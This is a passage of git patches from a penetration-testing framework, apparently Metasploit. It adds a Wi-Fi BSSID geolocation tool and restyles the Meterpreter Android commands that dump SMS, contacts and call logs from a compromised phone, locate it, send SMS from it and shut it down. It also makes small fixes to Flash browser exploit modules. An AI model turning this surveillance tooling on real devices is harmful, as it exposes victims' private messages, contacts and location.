g.add_wlan(mac, nil, -83) - end - g.fetch! - puts g, g.google_maps_url -end diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb new file mode 100755 index 0000000000..20b532cbce --- /dev/null +++ b/tools/google_geolocate_bssid.rb @@ -0,0 +1,31 @@ +#!/usr/bin/env ruby +# +# This tool asks Google for the location of a given set of BSSIDs +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'rex/google_geolocation' +require 'optparse' + +if ARGV.empty? + $stderr.puts("Usage: #{$PROGRAM_NAME} <mac> [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}") + $stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}") + exit(1) +end + +g = Rex::GoogleGeolocation.new +ARGV.each do |mac| + g.add_wlan(mac, nil, -83) +end + +g.fetch! + +puts g, g.google_maps_url From f4031d87fcfef5b69b743b664c8805cd5fc6e912 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:17:00 -0500 Subject: [PATCH 078/119] light ruby style cleanups --- .../meterpreter/extensions/android/android.rb | 98 ++++++++----------- 1 file changed, 39 insertions(+), 59 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 957118fcbf..86ea185dc4 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter module Extensions module Android - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - - class Android < Extension - def initialize(client) super(client, 'android') @@ -30,88 +25,77 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -120,41 +104,37 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body,dr) + def send_sms(dest, body, dr) request = Packet.create_request('send_sms') - request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) - request.add_tlv(TLV_TYPE_SMS_BODY,body) - request.add_tlv(TLV_TYPE_SMS_DR,dr) + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) if dr == false - response=client.send_request(request) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value return sr else - response=client.send_request(request,30) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value - dr=response.get_tlv(TLV_TYPE_SMS_SR).value - return [sr,dr] + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,30) - networks=[] - response.each( TLV_TYPE_WLAN_GROUP ) { |p| - - networks << - { + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) } - - } - return networks + end + networks end end - end end end From 82e1181ccb9dca89bd926e977d3955c2f9d415f0 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:38:54 -0500 Subject: [PATCH 079/119] update to metasploit-payloads 1.0.8 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index b93b5fb156..8eb7bd06d0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.7) + metasploit-payloads (= 1.0.8) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.7) + metasploit-payloads (1.0.8) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4a4436e160..eb2924b3bd 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.8' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 3615bd094d84d6d6e5b52fa4f190ca875f3bb31d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:58:33 -0500 Subject: [PATCH 080/119] limit the # of bssids sent to google, log more error details --- lib/rex/google_geolocation.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 86d1527b65..62597c1012 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -24,7 +24,7 @@ module Rex # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&wifi=") + @uri.query << @wlan_list.take(10).join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true @@ -36,7 +36,9 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - fail "Failure connecting to Google for location lookup." + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri.to_s}" if response + fail msg end end From 42e08cbe0706507dc9fb683cf8eaed232be3486c Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 14 Aug 2015 19:50:42 -0500 Subject: [PATCH 081/119] Fix bad use of get_profile (now browser_profile) --- modules/exploits/windows/browser/adobe_flash_avm2.rb | 2 +- .../windows/browser/adobe_flash_filters_type_confusion.rb | 2 +- modules/exploits/windows/browser/adobe_flash_pcre.rb | 2 +- modules/exploits/windows/browser/adobe_flash_regex_value.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 09aacbcc77..7815ef80db 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index e6a4e7468c..ac3e425873 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb index d922dfbb3c..f000571844 100644 --- a/modules/exploits/windows/browser/adobe_flash_pcre.rb +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index d5bc974bc1..7cd4e5d44e 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end From 875ac289e0a99b9eca3fc9e2a3ef7b71cb413b2d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:44:48 -0500 Subject: [PATCH 082/119] wait up to time_out seconds for output from the command --- lib/msf/core/post/common.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 7f4db478d9..0b604162a1 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -101,6 +101,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -108,9 +109,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o From 1db376bed88a36c11c23d52b13d71e76212b4619 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:46:04 -0500 Subject: [PATCH 083/119] check if a process still exists before deleting it --- data/meterpreter/ext_server_stdapi.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9e487280be..e884267528 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -742,7 +742,8 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] + if meterpreter.processes.has_key(proc_h_id): + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function From 422bba87d352bfd8815349ee190de8cbd1207cfc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:49:32 -0500 Subject: [PATCH 084/119] style fixes, moved google_geolocate to google/geolocate --- lib/rex/google/geolocation.rb | 68 ++++++ lib/rex/google_geolocation.rb | 66 ------ .../ui/console/command_dispatcher/android.rb | 198 ++++++++---------- modules/post/multi/gather/wlan_geolocate.rb | 5 +- tools/google_geolocate_bssid.rb | 4 +- 5 files changed, 158 insertions(+), 183 deletions(-) create mode 100755 lib/rex/google/geolocation.rb delete mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb deleted file mode 100755 index 62597c1012..0000000000 --- a/lib/rex/google_geolocation.rb +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env ruby - -require 'net/http' -require 'json' - -module Rex - # @example - # g = GoogleGeolocation.new - # g.add_wlan("00:11:22:33:44:55", "example", -80) - # g.fetch! - # puts g, g.google_maps_url - class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" - - attr_accessor :accuracy - attr_accessor :latitude - attr_accessor :longitude - - def initialize - @uri = URI.parse(URI.encode(GOOGLE_API_URI)) - @wlan_list = [] - end - - # Ask Google's Maps API for the location of a given set of BSSIDs (MAC - # addresses of access points), ESSIDs (AP names), and signal strengths. - def fetch! - @uri.query << @wlan_list.take(10).join("&wifi=") - request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP.new(@uri.host, @uri.port) - http.use_ssl = true - response = http.request(request) - - if response && response.code == '200' - results = JSON.parse(response.body) - self.latitude = results["location"]["lat"] - self.longitude = results["location"]["lng"] - self.accuracy = results["accuracy"] - else - msg = "Failure connecting to Google for location lookup." - msg += " Code #{response.code} for query #{@uri.to_s}" if response - fail msg - end - end - - # Add an AP to the list to send to Google when {#fetch!} is called. - # - # Turns out Google's API doesn't really care about ESSID or signal strength - # as long as you have BSSIDs. Presumably adding them will make it more - # accurate? Who knows. - # - # @param mac [String] in the form "00:11:22:33:44:55" - # @param ssid [String] ESSID associated with the mac - # @param signal_strength [String] a thing like - def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) - end - - def google_maps_url - "https://maps.google.com/?q=#{latitude},#{longitude}" - end - - def to_s - "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." - end - end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 8a40c0ef04..7891523682 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,18 +1,16 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' -require 'rex/google_geolocation' +require 'rex/google/geolocation' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -28,8 +26,8 @@ class Console::CommandDispatcher::Android 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', - 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information' } reqs = { @@ -39,25 +37,24 @@ class Console::CommandDispatcher::Android 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end def cmd_device_shutdown(*args) - seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -67,26 +64,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -96,19 +92,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -117,8 +112,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -152,14 +146,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -168,18 +162,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -189,13 +180,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -210,32 +200,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -248,13 +234,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -264,7 +248,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -283,7 +267,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -292,7 +275,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -302,12 +285,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -322,23 +305,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -347,15 +328,13 @@ class Console::CommandDispatcher::Android end end - - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -363,13 +342,13 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end @@ -381,10 +360,12 @@ class Console::CommandDispatcher::Android '-t' => [ true, 'SMS body text' ], '-dr' => [ false, 'Wait for delivery report' ] ) - dest='' - body='' - dr=false - send_sms_opts.parse(args) { | opt, idx, val | + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: send_sms -d <number> -t <sms body>') @@ -392,48 +373,48 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return when '-d' - dest=val + dest = val when '-t' - body=val + body = val when '-dr' - dr=true + dr = true end - } - if (dest.blank? or body.blank?) - print_error("You must enter both a destination address -d and the SMS text body -t") - print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') - print_line(send_sms_opts.usage) - return end - sent=client.android.send_sms(dest,body,dr) - if (dr) - if (sent[0]=="Transmission successful") - print_good("SMS sent - #{sent[0]}") + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") else - print_error("SMS send failed - #{sent[0]}") + print_error("SMS send failed - #{sent[0]}") end - if (sent[1]=="Transmission successful") - print_good("SMS delivered - #{sent[1]}") + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") else - print_error("SMS delivery failed - #{sent[1]}") + print_error("SMS delivery failed - #{sent[1]}") end else - if (sent=="Transmission successful") - print_good("SMS sent - #{sent}") + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") else - print_error("SMS send failed - #{sent}") + print_error("SMS send failed - #{sent}") end end end def cmd_wlan_geolocate(*args) - wlan_geolocate_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - wlan_geolocate_opts.parse(args) { | opt, idx, val | + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: wlan_geolocate') @@ -441,23 +422,22 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } + end log = client.android.wlan_geolocate - wlan_list=[] - wlan_str="" - log.each{|x| - mac=x['bssid'] - ssid=x['ssid'] - ss=x['level'] - wlan_list << [mac,ssid,ss.to_s] - } + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) @@ -470,21 +450,15 @@ class Console::CommandDispatcher::Android print_status(g.to_s) print_status("Google 